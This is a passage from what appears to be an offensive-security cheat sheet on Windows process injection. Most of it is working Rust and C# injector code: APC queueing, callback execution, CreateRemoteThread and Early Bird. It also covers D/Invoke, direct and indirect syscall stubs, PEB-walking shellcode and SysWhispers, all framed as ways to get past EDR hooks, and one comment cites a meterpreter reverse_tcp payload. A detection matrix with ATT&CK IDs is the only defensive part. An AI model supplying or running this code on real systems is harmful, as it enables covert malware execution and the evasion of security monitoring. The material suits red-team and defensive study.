    ) -> *mut u8;
    fn WriteProcessMemory(
        proc: *mut u8, base: *mut u8, buf: *const u8,
        size: usize, written: *mut usize
    ) -> i32;
    fn CreateToolhelp32Snapshot(flags: u32, pid: u32) -> *mut u8;
    fn Thread32First(snap: *mut u8, te: *mut ThreadEntry32) -> i32;
    fn Thread32Next(snap: *mut u8, te: *mut ThreadEntry32) -> i32;
    fn OpenThread(access: u32, inherit: i32, tid: u32) -> *mut u8;
    fn QueueUserAPC(func: *mut u8, thread: *mut u8, data: usize) -> u32;
    fn CloseHandle(handle: *mut u8) -> i32;
}

const PROCESS_ALL_ACCESS: u32 = 0x001F0FFF;
const THREAD_SET_CONTEXT: u32 = 0x0010;
const TH32CS_SNAPTHREAD: u32 = 0x00000004;
const MEM_COMMIT: u32 = 0x1000;
const MEM_RESERVE: u32 = 0x2000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;

fn main() {
    let shellcode: [u8; 276] = [0xfc, 0x48, 0x83, /* ... */ 0x00];
    let pid: u32 = 1234;

    unsafe {
        let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
        let p_remote = VirtualAllocEx(
            h_process, ptr::null_mut(), shellcode.len(),
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE,
        );
        WriteProcessMemory(
            h_process, p_remote, shellcode.as_ptr(),
            shellcode.len(), ptr::null_mut(),
        );

        let h_snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        let mut te: ThreadEntry32 = std::mem::zeroed();
        te.dw_size = std::mem::size_of::<ThreadEntry32>() as u32;

        if Thread32First(h_snap, &mut te) != 0 {
            loop {
                if te.th32_owner_process_id == pid {
                    let h_thread = OpenThread(
                        THREAD_SET_CONTEXT, 0, te.th32_thread_id);
                    if !h_thread.is_null() {
                        QueueUserAPC(p_remote, h_thread, 0);
                        CloseHandle(h_thread);
                    }
                }
                if Thread32Next(h_snap, &mut te) == 0 { break; }
            }
        }
        CloseHandle(h_snap);
        CloseHandle(h_process);
    }
}

#Callback-Based Execution in Rust

use std::ptr;

extern "system" {
    fn VirtualAlloc(
        addr: *mut u8, size: usize,
        alloc_type: u32, protect: u32
    ) -> *mut u8;
    fn RtlMoveMemory(dest: *mut u8, src: *const u8, len: usize);
    fn EnumSystemLocalesA(func: *mut u8, flags: u32) -> i32;
}

const MEM_COMMIT: u32 = 0x1000;
const MEM_RESERVE: u32 = 0x2000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;

fn main() {
    let shellcode: [u8; 276] = [0xfc, 0x48, 0x83, /* ... */ 0x00];

    unsafe {
        let addr = VirtualAlloc(
            ptr::null_mut(), shellcode.len(),
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE,
        );
        RtlMoveMemory(addr, shellcode.as_ptr(), shellcode.len());

        // Execute via callback - shellcode runs as the enum callback
        EnumSystemLocalesA(addr, 0);
    }
}

#Technique Comparison

#Detection Matrix

Technique Stealth Level Common Detection MITRE ATT&CK
CreateRemoteThread Low ETW: thread creation in remote process, Sysmon Event 8 T1055.002
QueueUserAPC Medium APC queue monitoring, cross-process thread access T1055.004
NtMapViewOfSection Medium Section object creation + cross-process mapping T1055.012
Process Hollowing Medium Memory scanning (unmapped sections), image mismatch detection T1055.012
Early Bird High APC queue on suspended process (less monitored than CRT) T1055.004
Module Stomping High Memory integrity checks on loaded DLLs, .text section hash mismatch T1055.002
Fiber Injection High Local-only - no cross-process APIs, harder to detect T1055.002
Thread Hijacking Medium SuspendThread + SetThreadContext pattern, Sysmon Event 8 T1055.003
Callback Injection High Local-only, legitimate API usage, behavioral analysis required T1055.002
DLL Injection Low LoadLibrary in remote process, Sysmon Event 7 (ImageLoad), ETW T1055.001
Syscall (Direct/Indirect) High Usermode hooks bypassed, requires kernel callbacks or ETW T1106

Key detection notes:

  • Sysmon Event 8 (CreateRemoteThread) catches CRT and thread hijacking
  • Sysmon Event 10 (ProcessAccess) logs OpenProcess with suspicious access masks
  • ETW providers (Microsoft-Windows-Kernel-Process, Microsoft-Windows-Threat-Intelligence) provide kernel-level visibility
  • Usermode hooks (ntdll.dll inline hooks by EDRs) can be bypassed by direct/indirect syscalls
  • Memory scanners look for RWX regions, unbacked executable pages, and shellcode signatures

#C# Variants

#P/Invoke Injection (C#)

P/Invoke uses [DllImport] attributes to statically declare Windows API imports. This is the simplest way to call native APIs from C#, but every imported function appears in the assembly's Import Address Table (IAT), making static analysis trivial for defenders. EDR products also place inline hooks on these well-known imports.

Detection: static analysis of the .NET assembly's IAT reveals suspicious API combinations; runtime hooks on kernel32/ntdll intercept the calls directly.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Injector
{
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr OpenProcess(
        uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAllocEx(
        IntPtr hProcess, IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteProcessMemory(
        IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer,
        uint nSize, out uint lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool VirtualProtectEx(
        IntPtr hProcess, IntPtr lpAddress, uint dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(
        IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize,
        IntPtr lpStartAddress, IntPtr lpParameter,
        uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll")]
    static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    [DllImport("kernel32.dll")]
    static extern bool CloseHandle(IntPtr hObject);

    // Constants
    const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RESERVE = 0x2000;
    const uint PAGE_READWRITE = 0x04;
    const uint PAGE_EXECUTE_READ = 0x20;
    const uint INFINITE = 0xFFFFFFFF;

    static void Main(string[] args)
    {
        // msfvenom -p windows/x64/meterpreter/reverse_tcp ... -f csharp
        byte[] sc = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0 /* ... */ };

        int pid = int.Parse(args[0]);

        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        IntPtr addr = VirtualAllocEx(
            hProcess, IntPtr.Zero, (uint)sc.Length,
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

        WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);

        VirtualProtectEx(
            hProcess, addr, (uint)sc.Length,
            PAGE_EXECUTE_READ, out _);

        IntPtr hThread = CreateRemoteThread(
            hProcess, IntPtr.Zero, 0, addr,
            IntPtr.Zero, 0, out _);

        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
        CloseHandle(hProcess);
    }
}

#P/Invoke Early Bird (C#)

Early Bird injection in C# - creates a suspended process, writes shellcode, queues APC, and resumes.

using System;
using System.Runtime.InteropServices;

class EarlyBird
{
    [StructLayout(LayoutKind.Sequential)]
    struct STARTUPINFO {
        public uint cb;
        public IntPtr lpReserved, lpDesktop, lpTitle;
        public uint dwX, dwY, dwXSize, dwYSize;
        public uint dwXCountChars, dwYCountChars;
        public uint dwFillAttribute, dwFlags;
        public ushort wShowWindow, cbReserved2;
        public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION {
        public IntPtr hProcess, hThread;
        public uint dwProcessId, dwThreadId;
    }

    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
    static extern bool CreateProcessA(
        string lpApplicationName, string lpCommandLine,
        IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,
        bool bInheritHandles, uint dwCreationFlags,
        IntPtr lpEnvironment, string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);

    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAllocEx(
        IntPtr hProcess, IntPtr lpAddress, uint dwSize,
        uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(
        IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer,
        uint nSize, out uint lpNumberOfBytesWritten);

    [DllImport("kernel32.dll")]
    static extern uint QueueUserAPC(
        IntPtr pfnAPC, IntPtr hThread, uint dwData);

    [DllImport("kernel32.dll")]
    static extern uint ResumeThread(IntPtr hThread);

    [DllImport("kernel32.dll")]
    static extern bool CloseHandle(IntPtr hObject);

    const uint CREATE_SUSPENDED = 0x00000004;
    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RESERVE = 0x2000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;

    static void Main()
    {
        byte[] sc = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0 /* ... */ };

        STARTUPINFO si = new STARTUPINFO();
        si.cb = (uint)Marshal.SizeOf(si);
        PROCESS_INFORMATION pi;

        CreateProcessA(
            "C:\\Windows\\System32\\notepad.exe", null,
            IntPtr.Zero, IntPtr.Zero, false,
            CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);

        IntPtr addr = VirtualAllocEx(
            pi.hProcess, IntPtr.Zero, (uint)sc.Length,
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

        WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);

        QueueUserAPC(addr, pi.hThread, 0);
        ResumeThread(pi.hThread);

        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }
}

#D/Invoke (Delegate Invoke)

D/Invoke resolves API addresses at runtime using GetProcAddress (or manual PE parsing) and calls them through .NET delegates instead of static imports. Since nothing appears in the IAT, static analysis cannot determine which APIs are used. It can also load a fresh, unhooked copy of ntdll.dll from disk, completely bypassing EDR inline hooks.

Detection: much harder than P/Invoke - requires runtime monitoring of GetProcAddress patterns, delegate invocations, or ETW-based .NET profiling.

using System;
using System.Runtime.InteropServices;

// Define delegate matching the target function signature
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate uint NtAllocateVirtualMemory(
    IntPtr ProcessHandle,
    ref IntPtr BaseAddress,
    IntPtr ZeroBits,
    ref IntPtr RegionSize,
    uint AllocationType,
    uint Protect);

class DInvokeDemo
{
    static void Main()
    {
        // Dynamically resolve NtAllocateVirtualMemory from ntdll.dll
        IntPtr pFunc = Generic.GetLibraryAddress(
            "ntdll.dll", "NtAllocateVirtualMemory");

        // Create delegate from function pointer
        NtAllocateVirtualMemory ntAlloc =
            Marshal.GetDelegateForFunctionPointer<NtAllocateVirtualMemory>(
                pFunc);

        // Call via delegate - no IAT entry, no inline hook hit
        IntPtr baseAddr = IntPtr.Zero;
        IntPtr regionSize = (IntPtr)4096;
        uint status = ntAlloc(
            (IntPtr)(-1),      // current process
            ref baseAddr,
            IntPtr.Zero,
            ref regionSize,
            0x3000,            // MEM_COMMIT | MEM_RESERVE
            0x40);             // PAGE_EXECUTE_READWRITE
    }
}

Why D/Invoke matters:

  • No IAT entries - static analysis tools cannot see which APIs are called
  • Bypasses usermode hooks - EDRs hook known exports; D/Invoke can load a fresh copy of ntdll from disk
  • Supports syscall stubs - can extract and call syscall numbers directly from ntdll
  • Available via NuGet - DInvoke package or integrated into tools like Covenant/Grunt

#Syscall Alternatives

Method Description
Direct syscall Extract syscall number from ntdll, execute syscall instruction directly in your code
Indirect syscall Jump to the syscall instruction inside ntdll.dll to avoid suspicious syscall in your .text section
SysWhispers2/3 Code generators that produce direct/indirect syscall stubs for MASM/C
HellsGate Runtime syscall number resolution by parsing ntdll in memory
HalosGate HellsGate variant - if ntdll is hooked, search neighboring functions for clean syscall numbers
TartarusGate Detects hooks by checking for jumps (0xE9) at export addresses
FreshyCalls Resolves syscall numbers by sorting Zw* exports by address (order = syscall number)

#Assembly & Syscalls

#x64 Windows Syscall Stub

Direct syscall stub for NtAllocateVirtualMemory. The syscall number changes per Windows build - resolve at runtime (HellsGate) or use SysWhispers to generate per-version stubs.

; x64 Windows direct syscall stub
; Assemble: nasm -f win64 syscall_stub.asm -o syscall_stub.obj
BITS 64
SECTION .text

global NtAllocateVirtualMemory

; NtAllocateVirtualMemory(ProcessHandle, BaseAddress, ZeroBits,
;                          RegionSize, AllocationType, Protect)
; rcx = ProcessHandle, rdx = BaseAddress, r8 = ZeroBits,
; r9 = RegionSize, stack+0x28 = AllocationType, stack+0x30 = Protect
NtAllocateVirtualMemory:
    mov r10, rcx              ; syscall convention: r10 = first arg
    mov eax, 0x18             ; syscall number (Win10 1909 example)
    syscall
    ret

#Indirect Syscall Stub

Instead of executing syscall in your own code (which EDRs flag by scanning for syscall instructions in non-ntdll memory), jump to the syscall; ret gadget inside ntdll.dll itself.

BITS 64
SECTION .text

global NtAllocateVirtualMemory_Indirect

; Resolve this at runtime: address of "syscall; ret" in ntdll
; e.g., scan ntdll for 0F 05 C3 pattern
extern syscall_ret_addr

NtAllocateVirtualMemory_Indirect:
    mov r10, rcx
    mov eax, 0x18             ; syscall number
    jmp [rel syscall_ret_addr] ; jump to syscall;ret inside ntdll

#Shellcode Structure (x64 Windows)

Typical shellcode flow for resolving and calling WinAPI functions without imports:

1. Find PEB           -> GS:[0x60] on x64
2. Walk PEB_LDR_DATA  -> PEB + 0x18
3. Walk InMemoryOrderModuleList
4. Find kernel32.dll  -> compare module name hash
5. Parse PE exports   -> walk IMAGE_EXPORT_DIRECTORY
6. Find function      -> hash-compare export names
7. Call function       -> resolved address in register
; x64: Find PEB and walk to kernel32.dll base
BITS 64

find_kernel32:
    xor rcx, rcx
    mov rax, [gs:rcx+0x60]       ; PEB
    mov rax, [rax+0x18]          ; PEB->Ldr (PEB_LDR_DATA)
    mov rsi, [rax+0x20]          ; InMemoryOrderModuleList
    lodsq                         ; skip first entry (exe itself)
    xchg rax, rsi
    lodsq                         ; second entry = ntdll.dll
    xchg rax, rsi
    lodsq                         ; third entry = kernel32.dll
    mov rbx, [rax+0x20]          ; DllBase of kernel32.dll
    ; rbx now holds kernel32 base address

#Null-Byte Avoidance

Null bytes (0x00) terminate C strings and break injection through string-based APIs. Common avoidance patterns:

Pattern Problem Solution
mov rax, 0 Contains 0x00 bytes xor rax, rax
mov al, 0x3b Upper bytes are zero in full encoding Use xor eax, eax then mov al, 0x3b
push 0 Encodes null bytes xor rcx, rcx then push rcx
mov rdi, "/bin/sh\0" Null terminator in immediate Push null first, then non-null string
Absolute addresses Often contain nulls Use RIP-relative addressing or lea
jmp with small offset May pad with nulls Use short jumps (jmp short)

#SysWhispers Usage

SysWhispers generates header files and ASM stubs for direct/indirect syscalls, supporting multiple Windows versions.

# SysWhispers3 - generate stubs for specific functions
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
    --out-file syscalls \
    --sw-output jumper     # indirect syscall mode

# Produces: syscalls.h, syscalls.c, syscalls-asm.x64.asm
# Include in your C project and call Nt* functions directly
// Using SysWhispers-generated stubs
#include "syscalls.h"

// Calls go directly to kernel via syscall instruction
// Bypasses all usermode hooks (EDR ntdll patches)
NTSTATUS status = NtAllocateVirtualMemory(
    hProcess, &baseAddr, 0, &regionSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

#Also See

#Cyber Aurelien Guidi